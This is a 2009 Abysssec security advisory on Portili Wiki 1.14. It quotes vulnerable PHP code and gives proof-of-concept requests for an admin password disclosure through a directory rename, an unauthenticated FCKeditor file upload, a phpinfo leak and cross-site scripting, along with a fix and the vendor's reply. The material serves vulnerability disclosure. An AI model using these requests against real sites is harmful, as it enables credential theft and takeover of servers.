Abysssec Inc Public Advisory Title : Portili Personal and Team Wiki Multiple Remote Vulnerabilities Affected Version : Portili Personal and Team Wik <= 1.14 Vendor Site : www.Portili.com Discovery : www.Abysssec.com Vendor Contact : 10/4/2009 Vendor Response : 11/4/2009 Vendor Response : i have fixed all the vulnerabilities outlined and will release the fixes in the next version of the wiki. The most troublesome vulnerabilities have come from the included ajaxfilemanager 3rd party image manager application (particularly in trying to integrate it with my own user authentication system). I'm planning to completely overhaul this at some point. Description : this vulnerabites founded for a internal penetration testing project but now we decide to send vulnerabites to vendor. so there is no point to keep these private anymore these vulnerabities are just for educational purpose and author will be not be responsible for any damage using this vulnerabiltes . Vulnerabilites : 1- Admin Password Disclosure Exploit in ajaxfilemanager/ajax_save_name.php Vulnerability : there an intersting vulnerability in this code . line 16-23 elseif(empty($_POST['name'])) { $error = ERR_RENAME_EMPTY; }elseif(!preg_match("/^[a-zA-Z0-9 _\-.]+$/", $_POST['name'])) { $error = ERR_RENAME_FORMAT; }elseif(empty($_POST['original_path']) || !file_exists($_POST['original_path'])) ======================================= line 39-68 //update record of session if image exists in session for cut or copy include_once(CLASS_SESSION_ACTION); $sessionAction = new SessionAction(); $selectedDocuments = $sessionAction->get(); if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['original_path']) && sizeof($selectedDocuments)) { if(($key = array_search(basename($_POST['original_path']), $selectedDocuments)) !== false) { $selectedDocuments[$key] = $_POST['name']; $sessionAction->set($selectedDocuments); } }elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['original_path'])) { $sessionAction->setFolder($_POST['original_path']); } $path = addTrailingSlash(getParentPath($_POST['original_path'])) . $_POST['name']; if(is_file($path)) { include_once(CLASS_FILE); $file = new file($path); $fileInfo = $file->getFileInfo(); }else { include_once(CLASS_MANAGER); $manager = new manager($path, false); $fileInfo = $manager->getFolderInfo(); } } =============================================================================== there is two problem in code first is it won't check for logged user and next is in the logic of this code . as you can see in code we can change any directory even config directory so we can copy the config to uplods and then you can download the config file that contains user / pass of administrator . PoC : http://vulnerable.com/ajaxfilemanager/ajax_save_name.php POST: original_path=../application/config&name=uploads now you can go and download the config . Fast Solution : add this lines to first of ajax_save_name.php // ensure that only logged in users may access this script if (!file_exists('../authenticate_user.php')) { exit("couldn't locate the file authenticate_user.php"); } //exit if the user authentication script cannot be found require_once('../authenticate_user.php'); //exit if the user is not authenticated by the codeigniter application 2- File Upload Vulnerability /Fckeditor Vulnerability : Using Fckeditor without any authentication will give ability to attacker to upload his / her own file and fckeditor won't check file extention it will give ability to attacker upload a malicius server side ASP / ASPX / PHP / JSP . so this vulnerability can creation access to server / portal completely . PoC : http://www.vulnerable.com/fckeditor/editor/filemanager/connectors/test.html 3- Information Leakage in /phpinfo.php Vulnerability: there is phpinfo.php can leak information about path and installation of web / php and disabled / enabled functions as well as extentions and modules . PoC : http://www.vulnerable.com/phpinfo.php 4- Cross Site Scripting in ajaxfilemanager/ajaxfilemanager.php Vulnerability : after you logged in into the admin panel with a valid password there is a uncheked variable named view . line 49-61 if(!empty($_GET['view'])) { switch($_GET['view']) { case 'detail': case 'thumbnail': $view = $_GET['view']; break; default: $view = CONFIG_DEFAULT_VIEW; } }else { $view = CONFIG_DEFAULT_VIEW; } PoC : http://vulnerable.com/ajaxfilemanager/ajaxfilemanager.php?path=../uploads/&view=1 feel free to contact me : admin [at] abysssec.com